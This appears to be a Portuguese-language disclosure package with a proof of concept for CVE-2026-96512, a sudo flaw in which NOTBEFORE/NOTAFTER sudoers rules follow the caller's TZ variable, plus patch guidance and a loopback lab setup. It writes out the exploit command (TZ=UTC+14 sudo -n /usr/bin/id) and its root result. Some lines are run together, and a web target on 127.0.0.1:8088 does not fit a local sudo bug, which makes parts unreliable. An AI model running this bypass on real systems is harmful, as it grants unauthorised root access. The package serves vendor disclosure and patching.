
Pacote de divulgação e PoC para CVE-2026-96512, um bypass de janela de tempo TZ NOTBEFORE/NOTAFTER do sudo que permite escalonamento local de privilégios, com reprodução em laboratório e orientação de patch.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-96512
sudo 1.9.13p3 (Debian bookworm) — Sudo Project
Uma falha foi encontrada no sudo. Quando as regras do sudoers usam restrições de acesso baseadas em tempo NOTBEFORE ou NOTAFTER com timestamps que omitem o indicador de fuso horário Z final, a avaliação do tempo depende da variável de ambiente TZ herdada do usuário que a invoca.
| CVE | CVE-2026-96512 · CVE.org |
| CWE | CWE-863 |
| CVSS | Alto: 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Produto | sudo |
| Afetado | todas as versões até 1.9.13p3 (Debian bookworm) (inclusive) |
| Corrigido | commit principal 1820a34 (ainda sem release upstream) e posteriores |
| Autenticação | autenticado (ver mapa do código-fonte) |
| Licença | GNU Affero GPL v3.0 |
| Lab | apenas 127.0.0.1 · pacote de divulgação para fornecedor/cliente, não é um scanner |
plugins/sudoers parse_gentime / gram.y timespec. A correção sudo-project/sudo@1820a34 copia environ de envp e faz unsetenv TZ.
LOCALTZ=UTC+14 sudo -n /usr/bin/idsudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/idlabuser sudo -n /usr/bin/id -> negado (expirado)TZ=UTC+14 sudo -n /usr/bin/idparse_gentime mktime respeita POSIX TZ=UTC+14NOTAFTER epoch desloca +14h; comando permitido como rootSem TZ: sudo -n id negado. Com TZ=UTC+14: uid=0(root).
Faça isto primeiro: Atualize o sudo para o commit principal 1820a34 (ainda sem release upstream) ou mais recente.
Verifique após a atualização
CVE-2026-96512-Abraxas-Labs.py contra a build corrigida: o testemunho mapeado não deve aparecer.Se não puder atualizar imediatamente
Alvo apenas http://127.0.0.1:8088 (ou o loopback que você vinculou). Não aponte este script para a internet.
python3 CVE-2026-96512-Abraxas-Labs.py
Sucesso é o testemunho acima no corpo da resposta. Um HTML 200 genérico não é isso.
Stack de loopback usada para reproduzir. Imagens oficiais, a menos que um Dockerfile nesta pasta compile a partir do código-fonte.
cd lab
docker compose up --force-recreate
Vincule a árvore do produto vulnerável ao lado do Compose se o YAML montar um diretório local (zip do plugin / tag de código-fonte da tabela de versões). Não publique nada exceto 127.0.0.1.
github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-96512
CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).
## Description
sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.
## Product
sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.
Este pacote de divulgação está licenciado sob a GNU Affero General Public License v3.0. Ver LICENSE.
Este pacote é para o fornecedor, o proprietário do site e labs licenciados. O script se comunica com 127.0.0.1. Usá-lo contra sistemas que você não possui não é autorizado pela Abraxas Labs. Sem garantias.